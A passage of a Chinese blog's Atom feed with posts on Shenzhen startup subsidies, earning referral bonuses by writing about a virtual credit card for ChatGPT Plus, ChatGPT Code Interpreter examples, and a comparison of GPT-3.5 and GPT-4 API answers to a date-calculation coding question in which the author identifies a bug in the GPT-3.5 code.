type="html">&lt;p&gt;如果你正准备或者已经自己创业开公司，可以关注下当地人社局的一些福利政策，特别是一二线城市都有相应的补贴补助。 &lt;/p&gt;
&lt;p&gt;比如深圳这边，针对符和条件的创业人员有初创补贴，场地租金补贴，社保补贴、带动就业补贴，一个股东最高可以拿到8.9万的申请补贴。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;社保一档补贴：870/人/月（公司部分补贴） 补贴3年，符合条件的股东：31320/人 每季度打款一次 &lt;/li&gt;
&lt;li&gt;场地租金补贴：深户在普通办公场地满足条件的，补贴500/月（补贴3年，共计：18000每季度打款一次&lt;/li&gt;
&lt;li&gt;初创补贴：符合条件股东10000/人（社保交满6个月，一次性补贴） &lt;/li&gt;
&lt;li&gt;带动就业补贴：最多11人次，补贴最高30000封顶，可以在3年内领取完（员工在公司缴纳五险连续交满6个月，不看户籍、学历、不看缴纳几档 &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如有其它股东符合申请条件的，多一位股东多2项补贴（社保补贴，初创补贴一共4.1W）&lt;/p&gt;
&lt;p&gt;一个股东申请四项补贴可以拿到8.9万，每增加一个符合条件的股东补贴会多4.1万/人,所有补贴申请之后都是财政统一拨款到对公户。 &lt;/p&gt;
&lt;p&gt;补贴申请条件： &lt;/p&gt;
&lt;p&gt;1、毕业5年内的全日制大学生或者是有失业证明的深沪人员&lt;/p&gt;
&lt;p&gt;2、担任创业公司法人或者股东&lt;/p&gt;
&lt;p&gt;网上有很多代理这块业务的，详情可咨询他们也可以直接去问人社局，平时可以关注下政府网站或者他们的公众号信息发布，有时候错过了就是错过了，没法补办。比如我就因为从上家公司离职后，没有去办失业证明现在没法申请这个补贴。&lt;/p&gt;</content><category term="思考"/><category term="赚钱"/><category term="副业"/></entry><entry><title>如何通过一篇文章20天内赚到200美金</title><link href="https://foofish.net/how-to-make-money-by-a-article.html" rel="alternate"/><published>2023-07-11T11:00:01+08:00</published><updated>2023-07-11T11:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-07-11:/how-to-make-money-by-a-article.html</id><summary type="html">&lt;blockquote&gt;
&lt;p&gt;你好，我是刘志军，以前是程序员，靠副业实现睡后收入7位数，现在是一名自由职业者，公众号Python之禅作者，全网超过20万粉丝。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;今天跟大家分享的 …&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;你好，我是刘志军，以前是程序员，靠副业实现睡后收入7位数，现在是一名自由职业者，公众号Python之禅作者，全网超过20万粉丝。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;今天跟大家分享的赚钱案例：&lt;strong&gt;如何通过一篇文章在20天内挣到200美金&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可复制性： 100%&lt;/p&gt;
&lt;p&gt;可行性：100%&lt;/p&gt;
&lt;p&gt;技能：初中写作水平 &lt;/p&gt;
&lt;p&gt;准备：独立博客（可选）&lt;/p&gt;
&lt;p&gt;以下为正文：&lt;/p&gt;
&lt;p&gt;先上图，这是我在wildcard的邀请奖金截图&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FjRXm0e3Vl3IXgIndlLIbCBeFs_6.png"&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;ChatGPT 账号充值Plus要国外信用卡，所以有好几家平台提供虚拟信用卡服务，做的比较大的有&lt;a href="https://www.dupay.one/web-app/register-h5?invitCode=712088&amp;amp;lang=zh-cn"&gt;Dupay&lt;/a&gt;， &lt;a href="https://card.onekey.so/?i=UFFH44"&gt;OneKey&lt;/a&gt;， 这些平台的一个特点是充值只支持USDT（虚拟币），这对普通人来说是一道极高的门槛，大部分人最后不得不放弃自己申请信用卡转而找人代充（代充也是一个赚钱生意，以后再说）。 有一个哥们为了解决信用卡充值难问题，他们做了一个平台叫 &lt;a href="https://bewildcard.com/i/ZHIJUN"&gt;wildcard&lt;/a&gt;，直接可以用支付宝充值，充值难度直接从99降到0，毕竟谁没个支付宝呢。他们平台注册采用邀请制，每邀请一个新用户你可以获得2美元奖励。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;我是怎么知道这个平台的？&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;我在逛&lt;a href="https://okjk.co/FXt1UH"&gt;即刻&lt;/a&gt;时，分享了一篇如果通过onekey订阅Plus时，有个粉丝在评论里推荐了WildCard这个平台，我立刻去网上搜到这个平台，然后自己体验去网站的整个流程，从注册账号、用支付宝往里面充值，最后用来订阅Plus整个过程很丝滑，所以我第一时间推荐给了ChatGPT星球的会员。&lt;/p&gt;
&lt;h4&gt;为什么我愿意推荐？&lt;/h4&gt;
&lt;p&gt;通常推荐一个产品给别人时，往往是因为给你带来了超预期的体验，而wildcard确实给了我超预期，除了能用支付宝充值外，它的开卡费用是10美元（现在涨价了，依然划算），加上Plus订阅费用20美元，总费用在210多点，这和你找别人代充差不多是同价，最重要的是它没有月费用，长期使用该卡性价比就高了，除了能订阅Plus外，还可以用来充值API费用和midjourney&lt;/p&gt;
&lt;h4&gt;开始写文章&lt;/h4&gt;
&lt;p&gt;考虑到它有邀请奖金，所以我有了想写一篇文章的想法，写文章非常简单，初中写作水平足以应付，主要内容包含3部分：写wildcard有什么优点，怎么使用，最后贴上自己的邀请码完事，文章详细可以查看&lt;a href="https://foofish.net/chatgpt-plus-upgrade-with-wildcard.html"&gt;这里&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;写完文章后，我做了两件事，第一件事就是把文章发布在我自己的博客，第二件事是把文章同步在知乎专栏。为什么我会同步在这两个地方呢？  首先是自己的博客自由度非常大，没人会因为你推广而删你贴。 之所以还会同步在知乎是因为知乎有非常大的搜索流量来自百度，百度能快速收录知乎文章。&lt;/p&gt;
&lt;h4&gt;睡后收钱&lt;/h4&gt;
&lt;p&gt;剩下的事情就是坐等睡后收入，只要用户在搜索引擎上搜关键字 “wildcard 充值 plus” 或者 “wildcard 邀请码”时就能找到我这篇文章，用户注册成功并开卡我就有了奖励。&lt;/p&gt;
&lt;p&gt;从6月20号发布文章到7月10号，我已经通过这篇文章邀请超过100人进来，而且这个数字会随着wildcard这个平台的知名度提升我邀请的人数也会更多。  &lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FsFZvXrKOuUJI6nsAUikXa8B-3zk.png"&gt;&lt;/p&gt;
&lt;p&gt;以上就是通过一篇文章实现睡后收入的案例，虽然收入不大，但是它可以源源不断给你带来收入，而你只是做了一件一劳永逸的事情，时间半小时搞定，投入产出比极高，如果你有10个这样的赚钱项目，岂不美滋滋。&lt;/p&gt;
&lt;h4&gt;改进&lt;/h4&gt;
&lt;p&gt;为了能让文章有更多的曝光，我们还可以在更多的平台去分发，而且不仅限于文字的形式，还可以做成视频去各大平台白嫖流量。&lt;/p&gt;
&lt;h4&gt;思考&lt;/h4&gt;
&lt;p&gt;提高赚钱的敏感度，新事物出来是想想它能解决什么问题，能帮别人解决什么问题，再想想我是否可以利用这个杠杆去帮别人提供价值进而赚到钱。&lt;/p&gt;
&lt;p&gt;我的即刻ID是：liu志军，欢迎关注我，我会经常分享一下赚钱的思考&lt;/p&gt;
&lt;p&gt;更多的赚钱案例可以加入我的知识星球获得，扫描下面二维码加入。只要模仿成功一个案例，就能赚钱门票钱的几十倍甚至更高&lt;/p&gt;
&lt;p&gt;&lt;img alt="c96e4200aaef99eb1186e35b84800aa" src="images/c96e4200aaef99eb1186e35b84800aa.jpg"&gt;&lt;/p&gt;</content><category term="思考"/><category term="赚钱"/><category term="副业"/></entry><entry><title>ChatGPT Code Interpreter 能做哪些事？</title><link href="https://foofish.net/chatgpt-code-interpreter.html" rel="alternate"/><published>2023-07-08T12:00:01+08:00</published><updated>2023-07-08T12:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-07-08:/chatgpt-code-interpreter.html</id><summary type="html">&lt;p&gt;ChatGPT Code Interpreter 插件已经对Plus用户正式开放，今天登录ChatGPT发现有了Code interpreter 的开关 。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/Fukz4VmnG6dgFndBE2KxyRhX9O7U.png"&gt;&lt;/p&gt;
&lt;p&gt;开关开启后，在GPT4模型下面就可以选择这个插件了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FigpRXzMMwa-Z2sXT8VGDDTODft3.png"&gt;&lt;/p&gt;
&lt;p&gt;Code Interpreter 的中文意思是“代码解释器”，不过它并不是用来解释代码 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT Code Interpreter 插件已经对Plus用户正式开放，今天登录ChatGPT发现有了Code interpreter 的开关 。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/Fukz4VmnG6dgFndBE2KxyRhX9O7U.png"&gt;&lt;/p&gt;
&lt;p&gt;开关开启后，在GPT4模型下面就可以选择这个插件了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FigpRXzMMwa-Z2sXT8VGDDTODft3.png"&gt;&lt;/p&gt;
&lt;p&gt;Code Interpreter 的中文意思是“代码解释器”，不过它并不是用来解释代码的，而是用来执行代码。熟悉编程的都知道，Python解释器就是用来执行Python代码的。&lt;/p&gt;
&lt;p&gt;在该模式下用户可以上传文件，Code Interpreter能根据用户的提示自己编写代码自己执行并输出结果。例如：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生成二维码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FhZRWPZIYH8hd-hFWf774DW-hu2i.png"&gt;&lt;/p&gt;
&lt;p&gt;你还可以看到具体的代码，点开“show work”就可以看到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;qrcode&lt;/span&gt;

&lt;span class="c1"&gt;# Generate QR code&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://foofish.net&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;qr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qrcode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QRCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;error_correction&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;qrcode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ERROR_CORRECT_L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;box_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;border&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;qr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Create an image from the QR Code instance&lt;/span&gt;
&lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;black&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;back_color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;white&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Display the image&lt;/span&gt;
&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;有时候它也会报错，比如缺少某个包导入，不过不要紧，它会自我修复&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;处理图片&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;code interpreter 能对图片进行一些简单的处理，比如图片的裁剪、缩放、旋转、或提取图像的颜色信息，但是对于抠图或者是图片OCR等操作目前还不支持，没有Midjounery 的制图能力，不过还是可以期待一下GPT5甚至GPT6。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FsOFMvlqsUh4jHAE_bTR4zncXCZi.png"&gt;&lt;/p&gt;
&lt;p&gt;我认为最强大的应该是数据分析处理能力，你只要将数据上传，剩下的时候可以全部交给它，不需要你自己写一行代码，你只要使用自然语言描述你的需求它就能给你答案。&lt;/p&gt;
&lt;p&gt;数据分析&lt;/p&gt;
&lt;p&gt;现在我上传一个excel数据表给它，里面的字段大概长这样，这是公众号文章的阅读统计&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FhefOfPiJy_FIpEyZIobqLuf5V8b.png"&gt;&lt;/p&gt;
&lt;p&gt;我让它帮我分析哪个时间段发文阅读量高&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/Fkg0zPXJpi4KazVXFsr8PKBZ5Bsq.png"&gt;&lt;/p&gt;
&lt;p&gt;分组统计&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FmI2TjXUQmviGpHA3nAfEoYRSkyH.png"&gt;&lt;/p&gt;
&lt;p&gt;绘制阅读量曲线&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/FqQK_vbmA5B8NROs53vlJVCWiIy0.png"&gt;&lt;/p&gt;
&lt;p&gt;只能说，太牛了！ &lt;/p&gt;
&lt;p&gt;不过，Code interpreter 也有很多限制，比如无法访问网络、无操作系统访问权限，运行时间有限制、运行资源有限制，如果需要处理大型数据集只能在本地去执行。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>官方gpt3.5， gpt4.0、github copilot chat、gpt3.5 api、gpt4 api 对比，谁更牛？</title><link href="https://foofish.net/llm-model-compare.html" rel="alternate"/><published>2023-06-29T12:00:01+08:00</published><updated>2023-06-29T12:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-29:/llm-model-compare.html</id><summary type="html">&lt;p&gt;gpt4的智能程度大于gpt3.5，毫无争议，但是 OpenAI提供的GPT3.5 API  能力是否和官方的GPT3.5相当？ 对应的GPT4.0是否也一样？ 另外， Github 的 copilot chat 能力又怎样？&lt;/p&gt;
&lt;p&gt;我试着用一个编程问题分别用 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;gpt4的智能程度大于gpt3.5，毫无争议，但是 OpenAI提供的GPT3.5 API  能力是否和官方的GPT3.5相当？ 对应的GPT4.0是否也一样？ 另外， Github 的 copilot chat 能力又怎样？&lt;/p&gt;
&lt;p&gt;我试着用一个编程问题分别用不同的模型去测试看看效果如何。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题：请帮我实现一个Python函数，根据指定时间计算当月最后一天， 传入的参数值为datetime类型，返回的结果也为datetime&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我把AI返回给我的所有内容直接贴出来&lt;/p&gt;
&lt;p&gt;GPT3.5 API 的回答&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# 获取下个月的第一天&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;next_month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# 往前推一天，即为当月的最后一天&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next_month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;

&lt;span class="c1"&gt;# 示例用法&lt;/span&gt;
&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# 输出：2022-09-30&lt;/span&gt;
&lt;span class="err"&gt;```&lt;/span&gt;

&lt;span class="n"&gt;在上面的代码中&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;我们首先获取下个月的第一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;然后往前推一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;即可得到当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;粗略一看，感觉也没什么毛病，特别是它还给你加了注释，说得好像很有道理，先获取下个月第一天，然后再往前减一天就得到了当月的最后一天。实际运行时就有bug，因为9月只有30天，28+4=32，相当于 next_month 的值10月2日了，减一天也是10月1日， 最后的返回值就是错误的。&lt;/p&gt;
&lt;p&gt;结论：有明显的bug&lt;/p&gt;
&lt;p&gt;GPT4.0 API 回答：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# 获取下个月的第一天&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;next_month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;year&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;next_month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;month&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# 往前推一天，即为当月的最后一天&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next_month&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;

&lt;span class="c1"&gt;# 示例用法&lt;/span&gt;
&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get_last_day_of_month&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last_day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# 输出：2022-09-30&lt;/span&gt;
&lt;span class="err"&gt;```&lt;/span&gt;

&lt;span class="n"&gt;在上面的代码中&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;我们首先获取下个月的第一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;然后往前推一天&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;即可得到当月的最后一天&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

